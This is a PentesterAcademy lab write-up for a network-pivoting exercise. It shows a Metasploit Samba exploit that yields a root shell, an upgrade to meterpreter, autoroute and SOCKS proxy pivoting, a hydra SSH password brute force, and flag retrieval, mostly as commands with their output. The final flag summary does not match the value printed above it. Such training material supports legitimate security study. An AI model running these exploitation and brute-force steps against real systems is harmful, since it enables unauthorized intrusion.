
ATTACK
DEFENSE
by PentesterAcademy

Name	Pivoting V
URL	https://www.attackdefense.com/challengedetails?cid=147
Type	Network Pivoting : Single Pivots

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

The challenge descriptions makes it clear that there are two machines on different networks. The objective is to retrieve two flags stored on these machines.

Step 1: Check the IP address of our Kali machine. From the information given in the challenge description, that target A should be located at 192.182.236.3

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7764: eth0@if7765: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.5/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
7768: eth1@if7769: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:b6:ec:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.182.236.2/24 brd 192.182.236.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Run nmap scan with banner grabbing script on target A. From nmap output, it is clear that samba service is running on the target A.

Command: nmap -sV --script=banner 192.182.236.3

```
root@attackdefense:~# nmap -sV --script=banner 192.182.236.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 19:16 UTC
Nmap scan report for lxnc8aqqpzwuj8znvg4wmqfcw.temp-network_a-182-236 (192.182.236.3)
Host is up (0.000011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 02:42:C0:B6:EC:03 (Unknown)
Service Info: Host: VICTIM-1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
root@attackdefense:~#
```

Step 3: Start metasploit and use module (exploit/linux/samba/is_known_pipename). On successful exploitation, a command shell should pop on target A.

Commands:
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.182.236.3
exploit

```
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.182.236.3
RHOSTS => 192.182.236.3
msf5 exploit(linux/samba/is_known_pipename) > exploit

[*] 192.182.236.3:445 - Using location \\192.182.236.3\share\ for the path
[*] 192.182.236.3:445 - Retrieving the remote path of the share 'share'
[*] 192.182.236.3:445 - Share 'share' has server-side path '/tmp/
[*] 192.182.236.3:445 - Uploaded payload to \\192.182.236.3\share\sdBXsgsq.so
[*] 192.182.236.3:445 - Loading the payload from server-side path /tmp/sdBXsgsq.so using \\PIPE\/tmp/sdBXsgsq.so.
[-] 192.182.236.3:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.182.236.3:445 - Loading the payload from server-side path /tmp/sdBXsgsq.so using /tmp/sdBXsgsq.so...
[+] 192.182.236.3:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.182.236.2:42343 -> 192.182.236.3:445) at 2018-11-10 19:17:43 +0000

whoami
root
```

Step 4: Search for flag on target A machine and retrieve it.

Command: find / -name flag*

```
find / -name flag*
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/usr/lib/python2.7/dist-packages/dns/flags.pyc
/usr/lib/python2.7/dist-packages/dns/flags.py
/var/log/flag1.txt
/sys/devices/pnp0/00:03/tty/ttyS0/flags
```

Step 5: Retrieve the flag and also check the IP address for target A. This information is needed to create pivot.

Commands:
/var/log/flag1.txt
ifconfig

```
cat /var/log/flag1.txt
9ed4acda4dd56e18b97aa3b9e01a4f9e

ifconfig
/bin/sh: 9: ifconfig: not found
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7770: eth0@if7771: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:b6:ec:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.182.236.3/24 brd 192.182.236.255 scope global eth0
       valid_lft forever preferred_lft forever
7772: eth1@if7773: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:bb:8b:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.187.139.2/24 brd 192.187.139.255 scope global eth1
       valid_lft forever preferred_lft forever
```

Flag 1: 9ed4acda4dd56e18b97aa3b9e01a4f9e

Step 6: Use sessions -u command to spawn a new meterpreter session.

Command: sessions -u 1

```
msf5 exploit(linux/samba/is_known_pipename) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.182.236.2:4433
[*] Sending stage (861480 bytes) to 192.182.236.3
[*] Meterpreter session 2 opened (192.182.236.2:4433 -> 192.182.236.3:44758) at 2018-11-10 19:19:19
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(linux/samba/is_known_pipename) >
```

Step 7: On successful completion of the sessions -u command, a meterpreter session should be available.

Command: sessions

```
msf5 exploit(linux/samba/is_known_pipename) > sessions

Active sessions
===============

  Id  Name  Type                  Information                                  Connection
  --  ----  ----                  -----------                                  ----------
  1         shell cmd/unix                                                     192.182.236.2:42343 -> 192.182.236.3:445 (192.182.236.3)
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.182.236.3  192.182.236.2:4433 -> 192.182.236.3:44758 (192.182.236.3)

msf5 exploit(linux/samba/is_known_pipename) >
```

Step 8: Add the pivot by using the autoroute module. Metasploit can create a pivot to other network i.e. 192.187.139.0

Commands:
use post/multi/manage/autoroute

```
msf5 exploit(linux/samba/is_known_pipename) > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set SESSION 2
SESSION => 2
msf5 post(multi/manage/autoroute) > set SUBNET 192.187.139.0
SUBNET => 192.187.139.0
msf5 post(multi/manage/autoroute) > exploit

[!] SESSION may not be compatible with this module.
[*] Running module against 192.182.236.3
[*] Searching for subnets to autoroute.
[+] Route added to subnet 192.182.236.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.187.139.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf5 post(multi/manage/autoroute) >
```

Step 9: To use external tools like nmap, set up a system wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.

Commands:
use auxiliary/server/socks4a
set SRVPORT 9050
exploit

```
msf5 post(multi/manage/autoroute) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set SRV
set SRVHOST  set SRVPORT
msf5 auxiliary(server/socks4a) > set SRVPORT 9050
SRVPORT => 9050
msf5 auxiliary(server/socks4a) > exploit
[*] Auxiliary module running as background job 1.

[*] Starting the socks4a proxy server
msf5 auxiliary(server/socks4a) >
```

Step 10: Use netstat to verify that the proxy is working.

Command: netstat -tpln

```
root@attackdefense:~# netstat -tpln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.11:44307        0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:45654           0.0.0.0:*               LISTEN      370/ttyd
tcp        0      0 0.0.0.0:9050            0.0.0.0:*               LISTEN      375/ruby
root@attackdefense:~#
```

Step 11: Run nmap on target B which is at 192.187.139.3. And from the nmap results, it is clear that only SSH is running on the system.

Command: proxychains nmap -sT -Pn 192.187.139.3

```
root@attackdefense:~# proxychains nmap -sT -Pn 192.187.139.3
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 20:03 UTC
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:143-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:3306-<--denied
```

```
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:49159-<--denied
Nmap scan report for 192.187.139.3
Host is up (0.0010s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 14.55 seconds
root@attackdefense:~#
```

Step 12: There is no vulnerable service on target B, but only SSH server. So, we should try to bruteforce SSH credentials of target B machine.

Command: proxychains hydra -t 4 -l root -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt ssh://192.187.139.3

```
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:22-<><>-OK
[22][ssh] host: 192.187.139.3   login: root   password: 1234567890
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:22-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:22-<><>-OK
1 of 1 target successfully completed, 1 valid password found
```

Step 13: Found the password for root account. Use these credentials to SSH into target B machine.

Command: proxychains ssh root@192.187.139.3

```
root@attackdefense:~# proxychains ssh root@192.187.139.3
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9050-<><>-192.187.139.3:22-<><>-OK
The authenticity of host '192.187.139.3 (192.187.139.3)' can't be established.
ECDSA key fingerprint is SHA256:oj5QKRqCuERnTYhUU5/pcJePvp5fRdOOZdFlJoNOYAI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.187.139.3' (ECDSA) to the list of known hosts.
root@192.187.139.3's password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
root@victim-1:~#
```

Step 14: After logging in, search and retrieve the flag.

```
root@victim-1:~# find / -name flag*
/root/flag.txt
root@victim-1:~#
root@victim-1:~# cat /root/flag.txt
f9a32da38bf9fba2b6c7f7b7fe8709a2
root@victim-1:~#
```

Flag 2: f9a32da38bf9ba2b6c7f7b7fe8709